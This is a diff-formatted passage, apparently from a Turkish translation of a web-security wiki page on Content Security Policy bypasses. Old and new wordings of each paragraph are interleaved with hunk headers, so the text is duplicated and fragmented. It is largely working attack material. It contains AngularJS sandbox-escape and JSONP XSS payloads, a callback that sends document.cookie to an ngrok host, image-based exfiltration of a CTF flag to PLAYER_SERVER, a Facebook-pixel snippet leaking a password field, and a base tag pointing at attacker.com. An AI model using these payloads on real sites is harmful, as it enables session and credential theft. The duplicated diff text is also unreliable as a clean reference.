 | 
			
		||||
<summary>Nonce'i yeniden kullanarak script yükle</summary>
 | 
			
		||||
<summary>Nonce yeniden kullanarak script yükle</summary>
 | 
			
		||||
```html
 | 
			
		||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 | 
			
		||||
<img
 | 
			
		||||
@ -95,7 +95,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
- `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
 | 
			
		||||
- `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
 | 
			
		||||
- `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).
 | 
			
		||||
- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
 | 
			
		||||
- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
 | 
			
		||||
- `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
 | 
			
		||||
- `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
 | 
			
		||||
 | 
			
		||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 | 
			
		||||
```
 | 
			
		||||
### strict-dynamic
 | 
			
		||||
 | 
			
		||||
Eğer bir şekilde **izin verilen JS kodu DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
 | 
			
		||||
Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
 | 
			
		||||
 | 
			
		||||
### Wildcard (\*)
 | 
			
		||||
```yaml
 | 
			
		||||
@ -159,11 +159,11 @@ Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
 | 
			
		||||
```markup
 | 
			
		||||
"/>'><script src="/uploads/picture.png.js"></script>
 | 
			
		||||
```
 | 
			
		||||
Ancak, sunucunun **yüklenen dosyayı doğruladığı** ve yalnızca **belirli türde dosyaların yüklenmesine izin verdiği** oldukça olasıdır.
 | 
			
		||||
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içine **JS kodu yükleyebilseniz bile** (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde **Javascript kodunu çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmediği için, bunu **MIME türü olarak audio/** ile sunmaz.
 | 
			
		||||
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle onu **MIME türü olarak audio/** ile sunmaz.
 | 
			
		||||
 | 
			
		||||
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script'in içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).
 | 
			
		||||
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).
 | 
			
		||||
 | 
			
		||||
### Form-action
 | 
			
		||||
 | 
			
		||||
@ -176,7 +176,7 @@ Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir for
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 | 
			
		||||
```
 | 
			
		||||
Açık bir sürümünü yükleyin angular ve rastgele JS çalıştırın:
 | 
			
		||||
Açık bir sürümünü yükleyin ve rastgele JS çalıştırın:
 | 
			
		||||
```xml
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 | 
			
		||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
 | 
			
		||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 | 
			
		||||
>
 | 
			
		||||
```
 | 
			
		||||
#### Angular kullanarak ve `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar ([bu yazıya göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 | 
			
		||||
#### Angular + `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane kullanarak Payload'lar ([bu gönderiye göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Yazıda, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğiniz**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğiniz ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğiniz gösterilmektedir.
 | 
			
		||||
> Gönderi, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden tüm **kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
 | 
			
		||||
```markup
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 | 
			
		||||
@ -224,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
{{[].erase.call().alert('xss')}}
 | 
			
		||||
</div>
 | 
			
		||||
```
 | 
			
		||||
Bir sınıf adından Angular XSS:
 | 
			
		||||
Angular XSS bir sınıf adından:
 | 
			
		||||
```html
 | 
			
		||||
<div ng-app>
 | 
			
		||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 | 
			
		||||
@ -232,7 +232,7 @@ Bir sınıf adından Angular XSS:
 | 
			
		||||
```
 | 
			
		||||
#### Google reCAPTCHA JS kodunu kötüye kullanma
 | 
			
		||||
 | 
			
		||||
[**bu CTF yazısına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
 | 
			
		||||
[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
 | 
			
		||||
```html
 | 
			
		||||
<div
 | 
			
		||||
ng-controller="CarouselController as c"
 | 
			
		||||
@ -243,7 +243,7 @@ ng-init="c.init()"
 | 
			
		||||
 | 
			
		||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 | 
			
		||||
```
 | 
			
		||||
Daha fazla [**yüklerden bu yazıda**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
 | 
			
		||||
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
 | 
			
		||||
```html
 | 
			
		||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 | 
			
		||||
 | 
			
		||||
@ -266,15 +266,15 @@ Aşağıdaki URL, example.com'a yönlendirir (buradan):
 | 
			
		||||
```
 | 
			
		||||
https://www.google.com/amp/s/example.com/
 | 
			
		||||
```
 | 
			
		||||
\*.google.com/script.google.com'ı kötüye kullanma
 | 
			
		||||
Abusing \*.google.com/script.google.com
 | 
			
		||||
 | 
			
		||||
script.google.com içindeki bir sayfada bilgi almak için Google Apps Script'i kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
 | 
			
		||||
Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### Üçüncü Taraf Uç Noktaları + JSONP
 | 
			
		||||
```http
 | 
			
		||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 | 
			
		||||
```
 | 
			
		||||
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
 | 
			
		||||
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adına ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
 | 
			
		||||
```markup
 | 
			
		||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 | 
			
		||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
 | 
			
		||||
@ -290,36 +290,36 @@ https://www.youtube.com/oembed?callback=alert;
 | 
			
		||||
 | 
			
		||||
### Üçüncü Taraf İstismarları
 | 
			
		||||
 | 
			
		||||
Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alanı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
 | 
			
		||||
Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alan adı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
 | 
			
		||||
 | 
			
		||||
| Varlık            | İzin Verilen Alan                             | Yetenekler   |
 | 
			
		||||
| ----------------- | -------------------------------------------- | ------------ |
 | 
			
		||||
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
 | 
			
		||||
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
 | 
			
		||||
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
 | 
			
		||||
| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
 | 
			
		||||
| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
 | 
			
		||||
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
 | 
			
		||||
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | 
			
		||||
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 | 
			
		||||
| Varlık            | İzin Verilen Alan                               | Yetenekler   |
 | 
			
		||||
| ----------------- | ----------------------------------------------- | ------------ |
 | 
			
		||||
| Facebook          | www.facebook.com, \*.facebook.com               | Exfil        |
 | 
			
		||||
| Hotjar            | \*.hotjar.com, ask.hotjar.io                   | Exfil        |
 | 
			
		||||
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net              | Exec         |
 | 
			
		||||
| Amazon CloudFront | \*.cloudfront.net                              | Exfil, Exec  |
 | 
			
		||||
| Amazon AWS        | \*.amazonaws.com                               | Exfil, Exec  |
 | 
			
		||||
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net   | Exfil, Exec  |
 | 
			
		||||
| Salesforce Heroku | \*.herokuapp.com                               | Exfil, Exec  |
 | 
			
		||||
| Google Firebase   | \*.firebaseapp.com                             | Exfil, Exec  |
 | 
			
		||||
 | 
			
		||||
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
 | 
			
		||||
Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
 | 
			
		||||
 | 
			
		||||
Örneğin, aşağıdaki CSP'yi bulursanız:
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
 | 
			
		||||
```
 | 
			
		||||
ve
 | 
			
		||||
or
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: connect-src www.facebook.com;
 | 
			
		||||
```
 | 
			
		||||
Veri sızdırma işlemini gerçekleştirebilmelisiniz, tıpkı her zaman [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi. Bu durumda, aşağıdaki genel adımları izlersiniz:
 | 
			
		||||
Veri sızdırma işlemini, her zaman olduğu gibi [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapabilmelisiniz. Bu durumda, aşağıdaki genel adımları izlersiniz:
 | 
			
		||||
 | 
			
		||||
1. Buradan bir Facebook Geliştirici hesabı oluşturun.
 | 
			
		||||
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
 | 
			
		||||
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
 | 
			
		||||
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
 | 
			
		||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 | 
			
		||||
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin şu URL'ye benzer bir yerde bulunabileceğini unutmayın: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 | 
			
		||||
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
 | 
			
		||||
 | 
			
		||||
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
 | 
			
		||||
@ -329,21 +329,21 @@ fbq('trackCustom', 'My-Custom-Event',{
 | 
			
		||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
 | 
			
		||||
Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
 | 
			
		||||
 | 
			
		||||
### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
 | 
			
		||||
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
 | 
			
		||||
 | 
			
		||||
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
 | 
			
		||||
Örneğin, eğer CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, bu yol aşağıdaki gibi aşılabilir:
 | 
			
		||||
```html
 | 
			
		||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 | 
			
		||||
```
 | 
			
		||||
Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.
 | 
			
		||||
 | 
			
		||||
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.
 | 
			
		||||
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz anlamına geldiği için çalışır; bu CSP ile uyumludur.
 | 
			
		||||
 | 
			
		||||
∑, bunu çözerek, aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
 | 
			
		||||
∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar; bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
 | 
			
		||||
 | 
			
		||||
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
 | 
			
		||||
 | 
			
		||||
@ -359,23 +359,23 @@ Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2
 | 
			
		||||
 | 
			
		||||
### eksik **base-uri**
 | 
			
		||||
 | 
			
		||||
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için kötüye kullanabilirsiniz.
 | 
			
		||||
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
 | 
			
		||||
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base içinde bir httpS URL'si kullanın.
 | 
			
		||||
Ayrıca, eğer **sayfa bir script'i göreli bir yol kullanarak yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak script'i **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
 | 
			
		||||
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
 | 
			
		||||
```html
 | 
			
		||||
<base href="https://www.attacker.com/" />
 | 
			
		||||
```
 | 
			
		||||
### AngularJS olayları
 | 
			
		||||
 | 
			
		||||
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirine dahil olan bir nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
 | 
			
		||||
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
 | 
			
		||||
 | 
			
		||||
Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
 | 
			
		||||
```xml
 | 
			
		||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 | 
			
		||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 | 
			
		||||
```
 | 
			
		||||
Bu snippet, olayı tetiklemek için `ng-focus` direktifinin kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.
 | 
			
		||||
Bu snippet, `ng-focus` direktifinin olayı tetiklemek için kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.
 | 
			
		||||
 | 
			
		||||
**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 | 
			
		||||
 | 
			
		||||
@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 | 
			
		||||
```
 | 
			
		||||
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)
 | 
			
		||||
 | 
			
		||||
### Yönlendirme ile Bypass
 | 
			
		||||
### Yönlendirme ile Atlatma
 | 
			
		||||
 | 
			
		||||
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.
 | 
			
		||||
 | 
			
		||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları aşabilir.
 | 
			
		||||
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) tanımına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlayabilir.
 | 
			
		||||
 | 
			
		||||
İşte bir örnek:
 | 
			
		||||
```html
 | 
			
		||||
@ -429,7 +429,7 @@ Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafi
 | 
			
		||||
 | 
			
		||||
### Dangle markup ile CSP'yi aşma
 | 
			
		||||
 | 
			
		||||
[Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/).
 | 
			
		||||
[Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/index.html).
 | 
			
		||||
 | 
			
		||||
### 'unsafe-inline'; img-src \*; XSS aracılığıyla
 | 
			
		||||
```
 | 
			
		||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 | 
			
		||||
```
 | 
			
		||||
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
 | 
			
		||||
 | 
			
		||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
 | 
			
		||||
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
 | 
			
		||||
```javascript
 | 
			
		||||
<script>
 | 
			
		||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
 | 
			
		||||
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
 | 
			
		||||
```
 | 
			
		||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 | 
			
		||||
 | 
			
		||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) bu da **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **hazırlayıp**, bunu Twitter'a **yükleyebilir** ve "**unsafe-inline**" kullanarak **bir JS kodunu çalıştırabilirsiniz** (normal bir XSS gibi) bu da **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
 | 
			
		||||
### Service Workers ile
 | 
			
		||||
 | 
			
		||||
Service workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
 | 
			
		||||
Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/abusing-service-workers.md
 | 
			
		||||
@ -462,25 +462,25 @@ Service workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
 | 
			
		||||
 | 
			
		||||
#### Chrome
 | 
			
		||||
 | 
			
		||||
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration**'ına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
 | 
			
		||||
